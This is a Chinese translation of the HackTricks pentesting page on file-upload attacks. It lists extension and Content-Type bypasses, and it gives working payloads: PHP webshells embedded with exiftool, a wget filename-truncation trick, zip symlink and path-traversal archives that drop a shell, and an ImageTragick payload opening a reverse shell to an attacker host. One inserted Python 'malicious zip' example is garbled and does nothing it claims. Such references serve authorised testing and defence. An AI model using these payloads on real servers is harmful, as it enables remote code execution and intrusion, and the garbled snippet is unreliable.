hacktricks/pentesting-web/file-upload.md
2023-08-03 19:12:22 +00:00

18 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

文件上传通用方法论

  1. 尝试使用双重扩展名上传文件(例如:file.png.phpfile.png.php5)。
  • PHP扩展名.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
  • ASP扩展名.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
  1. 尝试将扩展名的某些字母大写,例如:.pHp, .pHP5, .PhAr ...
  2. 尝试上传一些双重(或更多)扩展名(用于绕过错误配置的检查,检查特定扩展名是否存在):
  3. file.png.php
  4. file.png.txt.php
  5. 尝试上传一些反向双重扩展名用于利用Apache配置错误其中任何具有_.php_扩展名的文件不一定以.php结尾,都将执行代码):
  • 例如file.php.png
  1. 使用空字符的双重扩展名
  2. 例如file.php%00.png
  3. 在扩展名的末尾添加一些特殊字符0020多个点....
  4. file.php%00
  5. file.php%20
  6. _file.php...... --> 在Windows中如果文件以点结尾创建这些点将被删除因此可以绕过检查扩展名为.php的过滤器
  7. file.php/
  8. _file.php._
  9. 通过将Content-Type头的值设置为:image/pngtext/plainapplication/octet-stream绕过Content-Type检查。
  10. 通过在文件开头添加真实图像的字节混淆_file_命令或将shell引入元数据来绕过魔术数字检查:exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  11. 也有可能只是在文件中检查魔术字节,并且您可以在文件的任何位置设置它们。
  12. Windows中使用NTFS备用数据流ADS。在这种情况下,禁止扩展名后面会插入冒号字符“:”,然后是允许的扩展名。结果,在服务器上将创建一个带有禁止扩展名的空文件例如“file.asax:.jpg”。稍后可以使用其他技术例如使用其短文件名编辑此文件。还可以使用“::$data”模式创建非空文件。因此在此模式后面添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)。
  13. 使用允许的扩展名png)上传后门,并祈祷出现执行后门的错误配置
  14. 查找重命名已上传的文件的漏洞(更改扩展名)。
  15. 查找本地文件包含漏洞以执行后门。
  16. 可能的信息泄露
  17. 多次(并且同时)上传相同的文件相同的名称
  18. 上传一个已存在的文件文件夹名称
  19. 上传一个文件,其名称为**“.”、“..”或“…”。例如,在Windows**的Apache中如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
  20. 上传一个可能不容易删除的文件,例如在NTFS中的**“…:.jpg”**Windows
  21. 使用无效字符(例如|<>*?”)在Windows中上传文件的名称Windows
  22. 使用保留(禁止)名称例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9Windows中上传文件。

还可以尝试上传一个可执行文件(.exe或一个较不可疑的.html文件当受害者意外打开时将执行代码

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}

如果您正在尝试将文件上传到PHP服务器,请查看.htaccess技巧以执行代码。 如果您正在尝试将文件上传到ASP服务器,请查看.config技巧以执行代码.phar文件类似于Java的.jar文件但用于PHP并且可以像PHP文件一样使用使用php执行它或在脚本中包含它...

.inc扩展名有时用于仅用于导入文件的PHP文件因此在某些情况下某人可能已经允许执行此扩展名。

使用BurpSuit插件https://github.com/modzero/mod0BurpUploadScanner检查许多可能的文件上传漏洞,或使用一个控制台应用程序找出可以上传的文件并尝试不同的技巧来执行代码:https://github.com/almandin/fuxploider

wget文件上传/SSRF技巧

在某些情况下,您可能会发现服务器正在使用wget来下载文件并且您可以指定URL。在这些情况下代码可能会检查下载文件的扩展名是否在白名单中以确保只有允许的文件才能下载。然而这个检查可以被绕过。 在Linux中文件名的最大长度为255个字符但是wget将文件名截断为236个字符。您可以下载一个名为"A"*232+".php"+".gif"的文件,这个文件名将绕过检查(在这个例子中,".gif"是一个有效的扩展名),但是wget将把文件重命名为"A"*232+".php"。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

请注意,您可能正在考虑的另一种选择是使HTTP服务器重定向到另一个文件因此初始URL将通过检查然后wget将使用新名称下载重定向的文件。除非使用参数--trust-server-names,否则这将不起作用,因为wget将使用原始URL中指定的文件名下载重定向的页面

从文件上传到其他漏洞

以下是通过上传文件可以实现的前10项功能来自链接

  1. ASP / ASPX / PHP5 / PHP / PHP3Webshell / RCE
  2. SVG存储型XSS / SSRF / XXE
  3. GIF存储型XSS / SSRF
  4. CSVCSV注入
  5. XMLXXE
  6. AVILFI / SSRF
  7. HTML / JSHTML注入 / XSS / 开放重定向
  8. PNG / JPEG像素洪水攻击DoS
  9. ZIP通过LFI实现RCE / DoS
  10. PDF / PPTXSSRF / 盲XXE

自动解压缩上传的ZIP文件

如果您可以上传一个将在服务器内部解压缩的ZIP文件您可以做两件事

符号链接

上传一个包含指向其他文件的软链接的链接,然后访问解压缩的文件,您将访问链接的文件:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

在不同文件夹中解压缩

解压缩的文件将会被创建在意料之外的文件夹中。

有人可能会认为这种设置可以防止通过恶意文件上传进行操作系统级别的命令执行但不幸的是这是不正确的。由于ZIP存档格式支持分层压缩并且我们还可以引用更高级别的目录因此我们可以通过滥用目标应用程序的解压缩功能来逃离安全上传目录。

可以在这里找到一个自动化利用程序来创建这种类型的文件:https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

以下是创建恶意zip文件的Python代码示例

import zipfile

# 创建一个恶意zip文件
def create_malicious_zip():
    # 创建一个zip文件对象
    malicious_zip = zipfile.ZipFile('malicious.zip', 'w')

    # 创建一个恶意文件并将其添加到zip文件中
    malicious_file = open('malicious.txt', 'w')
    malicious_file.write('This is a malicious file!')
    malicious_file.close()
    malicious_zip.write('malicious.txt')

    # 关闭zip文件对象
    malicious_zip.close()

# 调用函数创建恶意zip文件
create_malicious_zip()

这段代码使用Python创建了一个恶意的zip文件。它首先创建了一个zip文件对象然后创建了一个恶意文件并将其添加到zip文件中。最后关闭了zip文件对象。

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

为了实现远程命令执行,我采取了以下步骤:

  1. 创建一个PHP shell
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 使用“文件喷洒”技术创建一个压缩的zip文件
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.使用十六进制编辑器或vi将“xxA”更改为“../”我使用了vi

:set modifiable
:%s/xxA/..\//g
:x!

只剩下一步了上传ZIP文件并让应用程序解压缩它如果成功并且Web服务器具有足够的权限来写入目录系统上将会有一个简单的操作系统命令执行shell

b1

参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

将此内容以图像扩展名上传以利用漏洞 (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

在 PNG 图片中嵌入 PHP Shell

将 Web Shell 放在 IDAT 块中的主要原因是它能够绕过调整大小和重新采样操作 - PHP-GD 包含两个函数来实现这一点 imagecopyresizedimagecopyresampled

阅读此文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

多语言文件

在安全上下文中,多语言文件是一种同时是多种不同文件类型的有效形式的文件。例如,GIFAR 既是 GIF 文件又是 RAR 文件。还有一些文件可以同时是 GIF 和 JSPPT 和 JS 等。

多语言文件通常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,例如 JPEG、GIF、DOC以防止用户上传可能危险的文件如 JS 文件、PHP 文件或 Phar 文件。

这有助于上传一个符合多种不同格式的文件。它可以让你上传一个 PHAR 文件PHp ARchive它看起来也像一个 JPEG但可能仍然需要一个有效的扩展名如果上传函数不允许它这对你没有帮助。

更多信息请参阅:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥